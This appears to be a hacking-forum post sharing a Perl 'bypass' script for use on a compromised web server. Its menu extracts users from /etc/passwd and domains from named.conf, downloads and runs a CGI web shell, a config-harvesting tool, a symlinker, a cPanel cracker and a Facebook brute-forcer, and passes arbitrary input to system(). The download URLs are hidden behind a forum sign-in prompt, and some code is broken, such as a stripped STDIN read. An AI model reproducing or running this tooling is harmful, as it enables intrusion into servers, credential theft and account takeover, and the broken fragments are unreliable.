Locked Bypass Tool By Imad'Ox Hunter

[sQuo]

[LENGUAJE=perl]

 

#!/usr/bin/perl

 

 

#Imad'Ox Bypass Script 2014

#©oded By Imad'Ox Hunter

#Frm Morocco

 

 

use strict;

use warnings;

 

 

print "\n\t\t#################################################";

print "\n\t\t# #";

print "\n\t\t# Imad'Ox Bypass Script 2014 #";

print "\n\t\t# #";

print "\n\t\t# ©oded By Imad'Ox Hunter From Morocco #";

print "\n\t\t# #";

print "\n\t\t# Usage => Choose (1,2,3,4,5,6,7) . #";

print "\n\t\t# #";

print "\n\t\t# Greetz To Lwalida, All Moroccan Hackers #";

print "\n\t\t# #";

print "\n\t\t# Contact : facebook.com/imadox.hunter.official #";

print "\n\t\t# #";

print "\n\t\t#################################################\n\n";

 

 

#User Login

print "\nEnter Name : ";

my $user = ;

chomp $user;

 

 

print "\n\n\t\t\t1-Users Extractor.";

print "\n\t\t\t2-CGI Shell.";

print "\n\t\t\t3-Config Fucker";

print "\n\t\t\t4-Symlinker";

print "\n\t\t\t5-Cpanel Cracker";

print "\n\t\t\t6-Domains Extractor";

print "\n\t\t\t7-Facebook Bruter\n";

print "\t\t\t(Type 1,2,3..... : Or Run Commands Normaly)\n\n";

 

 

my $essai = 1;

 

 

while ($essai == 1)

{

print "$user" . '@localhost $ ';

my $choice = ;

chomp $choice;

 

if ($choice eq "1")

{

print "\nNow Extracting Users...\n";

system ('cat /etc/passwd | cut -d":" -f1 > users.txt');

print "Users Extracted Correctly.\n\n";

}

 

elsif ($choice eq "2")

{

print "\nNow Creating CGI Shell...\n";

system ('wget

This is the hidden content, please

• Sign In
• or
• Sign Up

);

system ('unzip cgiweb.zip');

system ('rm cgiweb.zip');

system ('cd cgiweb | chmod 775 web.root');

print "CGI Shell Created => cgiweb/web.root\n\n";

}

 

elsif ($choice eq "3")

{

print "\nNow Creating Config Fucker...\n";

system ('wget

This is the hidden content, please

• Sign In
• or
• Sign Up

);

system ('unzip configs.zip');

system ('rm configs.zip');

print "Config Fucker Created => configs.php\n\n";

}

 

elsif ($choice eq "4")

{

print "\nNow Creating Symlink...\n";

system ('wget

This is the hidden content, please

• Sign In
• or
• Sign Up

);

system ('unzip Symlink.zip');

system ('rm Symlink.zip');

system ('php Symlink.php');

system ('rm Symlink.php');

print "Symlink Created => /sym/\n\n";

}

 

elsif ($choice eq "6")

{

print "\nNow Extracting Domains...\n";

system ('cat named.conf > domains.txt');

print "Domains Extracted => domains.txt";

}

 

elsif ($choice eq "7")

{

print "\nRuning Facebook Bruter...\n";

system ('wget

This is the hidden content, please

• Sign In
• or
• Sign Up

);

system ('unzip fb-brute.zip');

system ('rm fb-brute.zip');

system ('clear');

system ('perl fb-brute.pl');

}

 

elsif ($choice eq "5")

{

print "\nCreating Cpanel Cracker";

system ('wget

This is the hidden content, please

• Sign In
• or
• Sign Up

);

system ('unzip cpanel.zip');

system ('rm cpanel.zip');

print "Cpanle Cracker Created => cpanel.php";

}

 

else

{

system ("$choice");

}

}

;

[/LENGUAJE]